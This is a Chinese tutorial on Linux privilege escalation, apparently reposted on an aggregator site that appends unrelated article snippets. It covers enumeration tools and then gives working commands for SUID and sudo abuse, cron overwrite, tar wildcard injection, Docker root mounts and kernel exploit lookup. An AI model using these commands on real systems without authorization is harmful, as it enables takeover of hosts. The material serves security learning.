內網滲透之Linux權限提升大法

文章目錄

  • 內網滲透|Linux權限提升大法
    • 0x01 前言
    • 0x02 工具介紹
      • 1.traitor
      • 2.LinEnum
      • 3.linux-exploit-suggester.sh
      • 4.Linux Exploit Suggester 2
      • 5.beroot
    • 0X02提權手法
      • 1.環境變量提權
      • 2.利用suid提權
      • 3.定時任務提權
        • 3.1定時任務文件覆蓋提權
        • 3.2定時任務tar命令通配符注入提權
      • 4.sudo提權
      • 5.Docker提權
      • 6.內核溢出提權

內網滲透|Linux權限提升大法

0x01 前言

免責聲明:請勿利用文章內的相關技術從事非法測試,由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失,均由使用者本人負責,所產生的一切不良后果與文章作者無關。該文章僅供學習用途使用!!!

0x02 工具介紹

1.traitor

地址:https://github.com/liamg/traitor

描述:

 1. 自動化探測漏洞并且嘗試提權工具,也會進行一些信息收集,但是漏洞庫數量較少2. 不帶參數運行尋找可能存在的漏洞3. 帶-a參數運行尋找漏洞并嘗試執行,如果已知當前用戶密碼可以加-p參數

用法:
1.不帶參數運行以查找可能允許權限升級的潛在漏洞/錯誤配置。-p如果當前用戶密碼已知,則添加該標志。如果需要分析sudo權限等,將要求輸入密碼。

traitor -p

2.使用-a/--any標志運行以查找潛在漏洞,嘗試利用每個漏洞,如果獲得 root shell,則停止。-p如果當前用戶密碼已知,請再次添加該標志。

traitor -a -p

3.使用-e/--exploit標志運行以嘗試利用特定漏洞并獲得 root shell

traitor -p -e docker:writable-socket

2.LinEnum

地址:https://github.com/rebootuser/LinEnum

描述:

可以對linux主機進行一個綜合信息探測,掃描linux上是否存在配置問題可以利用,
例如版本,定時任務,權限,環境變量等等,可以方便我們快速的確認當前可以提權的方式

用法:
在這里插入圖片描述

3.linux-exploit-suggester.sh

地址:https://github.com/The-Z-Labs/linux-exploit-suggester

描述:

漏掃腳本,查看是否有可以利用的漏洞。工具旨在幫助檢測給定 Linux 內核/基于 Linux 的計算機的安全缺陷。

用法:

1.評估 Linux 機器對公開已知漏洞的暴露程度:

./linux-exploit-suggester.sh

2.顯示 Linux 機器上的安全功能狀態:

./linux-exploit-suggester.sh --checksec

3.根據提供的“uname”字符串(即uname -a命令的輸出)評估 Linux 內核對已知漏洞的暴露程度:

./linux-exploit-suggester.sh --uname <uname-string>

4.Linux Exploit Suggester 2

地址:https://github.com/jondonas/linux-exploit-suggester-2

描述:

漏掃腳本,查看是否有可以利用的漏洞。工具旨在幫助檢測給定 Linux 內核/基于 Linux 的計算機的安全缺陷。

用法:

1.當不帶參數運行時,該腳本會執行“uname -r”來獲取 Linux 操作系統發行版本,并返回可能的漏洞利用列表。其中包含 CVE 和適用的漏洞利用 POC 的鏈接。請記住,修補/向后移植的補丁可能會欺騙該腳本。

./linux-exploit-suggester-2.pl

2.使用-k標志手動輸入內核/操作系統發行版本的通配符。

./linux-exploit-suggester-2.pl -k 3

3.使用-d標志打開下載菜單,直接從漏洞利用數據庫檢索漏洞利用代碼。您可以下載所有漏洞利用程序,也可以按編號單獨選擇它們。

./linux-exploit-suggester-2.pl -d

4.使用-h標志顯示幫助菜單

5.beroot

地址:https://github.com/AlessandroZ/BeRoot

描述:

BeRoot是一個后開發工具,該項目適用于 Windows、Linux,以方便找到提高我們提權的方法。

0X02提權手法

1.環境變量提權

管理員編譯程序的時候,給了程序管理員權限運行的權限,通過對程序的運行調試得到程序運行的大概邏輯,嘗試對程序調用的環境變量進行復制后覆蓋。導致程序調用環境變量過程中會調用到我們的想執行的程序,通常是我們的木馬后門。

提權流程:

1.ind / -perm -u=s -type f 2>/dev/null使用該命令,或者上述工具進行信息收集,找到有suid權限的程序

2.找到用戶自己編譯的程序

3.去分析這些程序,通過反編譯,調試等手段,查看是否有程序在運行過程中調用了環境變量的命令,如ps,su,ping等等

4.我們把bash或者sh復制為ps,并添加到環境變量,那么程序在調用ps時就會優先調用我們最新添加的環境變量ps,使用sudi權限執行bash或者ps我們就會得到root權限的shell,從而達到提權的目的

5.Linux 在執行命令時會按照以下順序搜索可執行文件:

 1. 命令別名(alias):首先會檢查是否存在與命令名稱匹配的別名,如果有,則執行別名對應的命令。2. 用戶自定義的函數(如果存在):如果用戶在當前 Shell 中定義了與命令名稱相同的函數,則會執行該函數。3. 內建命令(built-in):Linux Shell 提供了一些內建命令,例如 cd、echo等。如果命令是內建命令,則會執行內建命令。4. 按照 PATH 環境變量中的順序搜索可執行文件:如果以上步驟都不匹配,那么會按照環境變量 PATH中指定的徑順序搜索可執行文件。PATH環境變量包含一系列用冒號分隔的目錄路徑。從左到右依次搜索這些路徑,找到匹配的第一個可執行文件后執行。

2.利用suid提權

具有suid權限的文件在執行時,可以使調用者暫時獲得該文件擁有者的執行權限,也就是說,具有suid權限的屬于root用戶的文件,在執行時,不管你當前是不是root用戶,都可以以root權限執行,利用這個特性,我們就可以找一些具有suid權限切可以執行我們自定義命令的程序進行提權。

手動查看有suid權限的命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print  2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

在這里插入圖片描述上面的所有二進制文件都將以 root 權限執行,因為它們的權限中包含"s" 并且由 root 用戶擁有。

可以用來提權的命令

Nmap
Vim
find
Bash
More
Less
Nano
cp

例如:find的利用

touch pentestlab
find pentestlab -exec whoami \;

3.定時任務提權

3.1定時任務文件覆蓋提權

利用定時任務有時候也可以達到提權的目的,修改有root權限的定時任務程序進行提權。

需要具備的條件:

 1. 有root權限執行的定時任務2. 有權限修改root權限執行的定時任務

通過修改定時任務的程序,讓定時任務以root權限執行時執行我們想執行的內容,從而達到提權的目的。

例如:

添加定時任務,直接修改/etc/crontab添加,添加定時任務還可以使用crontab -e添加,但是crontab -e添加的定時任務只有當前用戶可以看見,所以這種提權方式需要直接修改/etc/crontab添加定時任務,并以root權限執行

vim /etc/crontab

這里添加一個定時清楚目錄下所有文件的腳本,也可以使用sh等腳本,這里使用python

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:os.system('rm -r /root/add/*')
except:sys.exit()

添加后保存即可,此時定時任務已經添加成功,切換到普通用戶,cat /etc/crontab即可查看我們添加的定時任務。

在這里插入圖片描述在普通用戶下也可以編譯定時任務執行的文件。
在這里插入圖片描述可以把命令替換成 chmod u+s /bin/bash 賦予bash以suid權限(如果不能修改,有刪除權限的話可以直接刪掉,寫入一個同名文件即可),返回給我們一個root權限的shell,需要加上-p參數才能提權,bash -p

我們這邊還可以給另一些可以提權的命令suid權限,例如我們的find命令,這邊我給find命令添加suid權限后也成功拿到了root權限

 find `which find` -exec whoami \;
3.2定時任務tar命令通配符注入提權

定時任務Tar命令通配符注入提權(Cron Tar Command Wildcard Injection Privilege Escalation)是指通過在定時任務中使用Tar命令和通配符時,利用不當地輸入驗證或不正確的權限配置,使攻擊者能夠執行惡意代碼并以更高的權限運行。

例如:
1.添加一個定時任務,每分鐘備份一次add文件夾下的內容到back目錄下

vim /etc/crontab
*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

2.接下來模擬攻擊者提權,發現存在定時任務壓縮后,在add目錄下執行以下三個命令,創建三個文件。

創建一個–checkpoint-action=exec=sh test.sh名字的空文件,創建–checkpoint=1名字的空文件,創建一個test.sh,里邊輸入我們想要使用root權限執行的命令,然后賦予test.sh可執行權限即可:

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test.sh"  ##執行test.sh文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh  ##將/bin/bash復制到/tmp下,并提權SUID權限,同時將命令寫入到test.sh腳本中
chmod +x test.sh  ##賦予執行權限

這個方法利用了命令的一些特性,例如,目錄下存在一個--help文件時,我們使用cat --help會執行cat的幫助文檔,不會獲取文件的信息,這邊也是一樣,在執行過程中會發生以下的事情。

tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

也就是在壓縮這兩個名字的時候,會把checkpoint設為1,且執行我們的test.sh文件,由于定時任務以root權限運行,那么我們就可以利用這個特性,在test.sh寫入我們想執行的任何命令,達到提權的一個效果。

PS:–checkpoint、–checkpoint-action正好是tar命令的參數,打包到這里就會導致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh兩個文件名當做參數執行,而不打包文件。–checkpoint-action=exec=sh test.sh參數的意思是執行同目錄下test.sh文件,test.sh文件內容又是把 bin/bash拷貝給/tmp/bash并給/tmp/bash賦SUID權限。此時我們再執行/tmp/bash就享有了suid權限,所以這里是一環套一環的。)

3.此時等待定時任務完成即可發現在/tmp目錄下多了一個bash文件。

4.使用 /tmp/bash -p 即可提權

PS:還有另一種情況

剛才的例子是壓縮了當前目錄的文件,但是當命令是壓縮指定目錄下的文件時,剛才的用法就失效了,例如在以下定時任務情況下,指定了/root/add/*目錄,此時拼接就會失效。

vim /etc/crontab
*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

這時候需要我們在執行完上面的操作后,對add目錄下的文件進行一個歸檔,才可以成功解析我們的命令,具體操作如下:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

執行完后,只需要等待定時任務觸發即可執行我們的test.sh。

4.sudo提權

在linux中,可能會給普通用戶sudo權限,以便使用sudo進行root權限才可以進行的操作,/etc/sudoers文件是sudo權限的配置文件,其中存儲了哪些用戶以及命令可以以sudo權限執行。
在這里插入圖片描述這三條的意思分別是:


root ALL=(ALL:ALL) ALL :
允許用戶root在任何主機上以任何用戶身份(ALL:ALL)執行任何命令。這授予了最高的權限。%admin ALL=(ALL) ALL :
允許屬于admin組的用戶在任何主機上以任何用戶身份執行任何命令。這是通過%admin表示組權
限,ALL表示可以在任何主機上執行,(ALL) ALL表示可以以任何用戶身份執行任何命令。%sudo ALL=(ALL:ALL) ALL :
允許屬于sudo組的用戶在任何主機上以任何用戶身份執行任何命令。與admin組的權限相似,這
里也使用了%sudo表示組權限。

在實際情況中,目標可能會給普通用戶分配sudo權限,可能是 ALL=(ALL:ALL) ALL ,也可能是針對某個命令可以使用sudo權限,如 ALL(ALL:ALL) /usr/bin/find

這種sudo提權的方式就和suid提權的方式有點相識,但是使用sudo提權需要兩個必備條件:

 1. 知道當前用戶的密碼2. 有sudo權限執行任意命令,或者sudo可以執行特定可以提權的命令

如果sudo可以執行任何命令,那么我們可以直接 sudo bash 獲取root權限的shell,如果不能,需要查看/etc/sudoers配置文件中可以執行哪些命令,上文中可以使用suid提權的命令在此處也是適用的。

例如:find提權

sudo find /home -exec whoami \;  ##可以看到獲得的是root用戶
sudo find /home -exec bash \;    ##或者直接調用bash來獲取shell

在這里插入圖片描述

5.Docker提權

docker運行的所有命令都是需要sudo來運行,那是因為docker需要root權限才能跑。Docker監護進程有一個特性,它能被允許訪問root用戶或者是在docker組里面的所有用戶。這就意味著,有docker 組的權限就如同到root的訪問權,而且不需要知道密碼。

區別于docker逃逸,相當于是利用docker進行提權。如果用戶具有docker權限,可以利用docker的掛載,實現容器和主機共享目錄,從而修改訪問主機文件,添加用戶,等功能,完成提權。

條件:

當前用戶在docker用戶組,可以使用docke。

1.查看是否在docker組下:

cat /etc/group | grep olw

在這里插入圖片描述
2.利用docker,將mnt目錄掛載到宿主的根目錄,提權成功

docker run -v /:/mnt -it alpine

6.內核溢出提權

利用堆棧溢出漏洞,根據當前系統 尋找對應的漏洞的exp 使用exp對其進行提權。

例如:

第一步:查看目標系統的相關信息

uname -a           #查看內核/操作系統/cpu信息
cat /proc/version  #查看系統信息
cat /etc/issue     #查看操作系統版本
lsb_release -a     #查詢系統版本等信息

第二步:使用searchsploit工具尋找對應的exp

searchsploit -t 3.19

在這里插入圖片描述

searchsploit -x linux/local/37292.c

在這里插入圖片描述

第三步:讓目標機器遠程下載exp文件
在這里插入圖片描述
第四步:將exp文件進行編譯
在這里插入圖片描述
第五步:執行exp文件,提權成功
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/166889.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/166889.shtml
英文地址,請注明出處:http://en.pswp.cn/news/166889.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【matlab程序】matlab給風速添加圖例大小

【matlab程序】matlab給風速添加圖例大小 clear;clc;close all; % load 加載風速數據。 load(matlab.mat) % 加載顏色包信息 gray load(D:\matlab_work\函數名為colormore的顏色索引表制作\R_color_txt\R_color_single\gray89.txt); brown load(D:\matlab_work\函數名為color…

_STORAGE_WRITE_ERROR_ thinkphp報錯問題原因

整個報錯內容如下 Uncaught exception Think\Exception with message _STORAGE_WRITE_ERROR_:./Runtime/Cache/Home/1338db9dec777aab181d4e74d1bdf964.php in C:\inetpub\wwwroot\ThinkPHP\Common\functions.php:101 Stack trace: #0 C:\inetpub\wwwroot\ThinkPHP\Library\…

1. 應用編程概念

1. 應用編程概念 1 系統調用概念1 應用編程和裸機編程、驅動編程的區別 1 系統調用概念 系統調用其實是 Linux 內核提供給應用層的應用編程接口&#xff0c;是 Linux 應用層進入內核的入口。用戶通過系統調用來使用系統提供的各種服務&#xff0c;實現了與內核的交互。 1 應用…

JavaFx 設置窗口邊框圓角

UI界面要求窗口邊框有一定弧度&#xff0c;因為之前沒有做過&#xff0c;網上看了很多文章&#xff0c;都用到了css語句 "-fx-background-radius: ; 我在xml布局文件根節點使用無效&#xff0c;在Scene組件設置無效&#xff0c;gpt等ai問了一圈代碼也是無效&#xff0c;…

【JavaEE】認識多線程

作者主頁&#xff1a;paper jie_博客 本文作者&#xff1a;大家好&#xff0c;我是paper jie&#xff0c;感謝你閱讀本文&#xff0c;歡迎一建三連哦。 本文錄入于《vaEE》專欄&#xff0c;本專欄是針對于大學生&#xff0c;編程小白精心打造的。筆者用重金(時間和精力)打造&am…

React + BraftEditor 實現富文本編輯

Braft Editor 是一個基于 React 和 Draft-js 開發的富文本編輯器&#xff0c;提供了豐富的基礎功能&#xff0c;如基本文本格式化、列表、鏈接、圖片上傳、視頻插入等&#xff0c;并且還支持擴展。 首先&#xff0c;確保你已經在項目中安裝了 Braft Editor 和它的依賴項&#x…

NPU、CPU、GPU算力及算力計算方式

NVIDIA在9月20日發布的NVIDIA DRIVE Thor 新一代集中式車載計算平臺&#xff0c;可在單個安全、可靠的系統上運行高級駕駛員輔助應用和車載信息娛樂應用。提供 2000 萬億次浮點運算性能&#xff08;2000 萬億次8位浮點運算&#xff09;。NVIDIA當代產品是Orin&#xff0c;算力是…

Java基礎(問題+答案)——第4期

其他的幾期見這個專欄 Java中的多態性&#xff08;Polymorphism&#xff09;&#xff1a; 多態性是指一個對象可以用來引用多個類型的特性。在Java中&#xff0c;多態性通過方法的重寫和接口實現來實現。 Java中的final關鍵字的用途&#xff1a; final可以用于變量、方法和類。…

堪比數據恢復大師軟件推薦,恢復數據很簡單!

“作為一個經常丟失數據的電腦用戶來說&#xff0c;我覺得我非常需要一些簡單有效的數據恢復方法。大家有什么比較靠譜的軟件推薦嗎&#xff1f;非常感謝&#xff01;” 在數字化時代&#xff0c;數據的存儲是比較重要的。很多用戶都會選擇將重要的文件保存在電腦上。如果數據丟…

第二證券:北證50指數一枝獨秀 短劇游戲概念股持續活躍

周三&#xff0c;滬深兩市三大指數顫動調整&#xff0c;北證50指數“鶴立雞群”&#xff0c;大漲超8%。到收盤&#xff0c;上證綜指報3043.61點&#xff0c;跌0.79%&#xff1b;深證成指報9855.66點&#xff0c;跌1.41%&#xff1b;創業板指報1950.01點&#xff0c;跌1.73%。滬…

ITSS項目概述及評估流程!

ITSS項目概述 ITSS (Information Technology Service Standards&#xff0c;信息技術服務標準&#xff0c;簡稱ITSS)是一套成體系和綜合配套的信息技術服務標準庫&#xff0c;全面規范了IT服務產品及其組成要素&#xff0c;用于指導實施標準化和可信賴的IT服務&#xff0c;是套…

CSV用EXCEL打開后為科學計數法(后幾位丟失)解決方法

當在Excel中打開含有長數字&#xff08;如訂單號&#xff09;的CSV文件時&#xff0c;Excel可能會默認將這些長數字格式化為科學計數法。 而當您嘗試將它們轉換為文本格式時&#xff0c;如果數字非常長&#xff0c;Excel可能無法正確處理其精度&#xff0c;導致數字的后幾位變…

uni-app,nvue中text標簽文本超出寬度不換行問題解決

復現&#xff1a;思路&#xff1a; 將text標簽換為rich-text&#xff0c;并給rich-text增加換行的樣式class類名解決&#xff1a;

GPT寫SQL的模版

表&#xff1a;profit_loss_sum_m_snapshot 計算字段&#xff1a;成本cost_whole求和&#xff0c;收入income_whole求和&#xff0c;收入求和-成本求和&#xff0c;成本目標cost_target求和&#xff0c;收入求和-成本目標求和 條件&#xff1a;日期statis_date在2023-11-01&…

【Vue】瀏覽器安裝vue插件

首先看一下安裝之后的效果&#xff0c;再考慮一下要不要安裝 安裝完之后&#xff0c;打開瀏覽器控制臺&#xff08;ctrl shift j) <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</t…

HOOPS Web平臺助力開發3D應用,實現超大規模3D web輕量化渲染與數據格式轉換!

一、包含的軟件開發工具包 HOOPS Web平臺幫助開發人員構建基于Web的工程應用程序&#xff0c;提供高級3D Web可視化、準確快速的CAD數據訪問和3D數據發布。 HOOPS Web平臺包括三個集成軟件開發工具包 (SDK)&#xff1a; &#xff08;1&#xff09;Web端3D可視化引擎 HOOPSCom…

mysql查詢表的字段,字段名以及注釋sql語句

sql語句如下&#xff1a; selecta.ordinal_position 序號,a.COLUMN_name 字段名,a.COLUMN_type 字段類型,(case a.is_nullable when NO then 是 else 否 end) 是否非空,(case a.column_key when PRI then 是 else 否 end) 是否主鍵,a.COLumn_comment 注釋 frominformation_sch…

【C/C++】素數專題

素數專題 1.判斷素數模板2.求范圍內的素數&#xff08;101-200&#xff09;3.判斷素數與分解 1.判斷素數模板 #include<stdio.h> #include<math.h>int prism(int n){if(n1) return 0;for(int i2;i<sqrt(n);i){if(n%i0) return 0;}return 1; }int main() {int n…

Doris中的物化視圖(十八)

物化視圖就是包含了查詢結果的數據庫對象&#xff0c;可能是對遠程數據的本地 copy&#xff0c;也可能是一個表或多表 join 后結果的行或列的子集&#xff0c;也可能是聚合后的結果。說白了&#xff0c;就是預先存儲查詢結果的一種數據庫對象。 在 Doris 中的物化視圖&#xf…

【深度學習】P1 數據缺失值預處理

數據缺失值預處理 創建數據集展示數據集缺失值處理 創建數據集 首先創建一個人工數據集&#xff0c;作為下文對數據缺失值預處理的案例&#xff0c; import osos.makedirs(os.path.join(.., data), exist_okTrue) data_file os.path.join(.., data, house_tiny.csv) with op…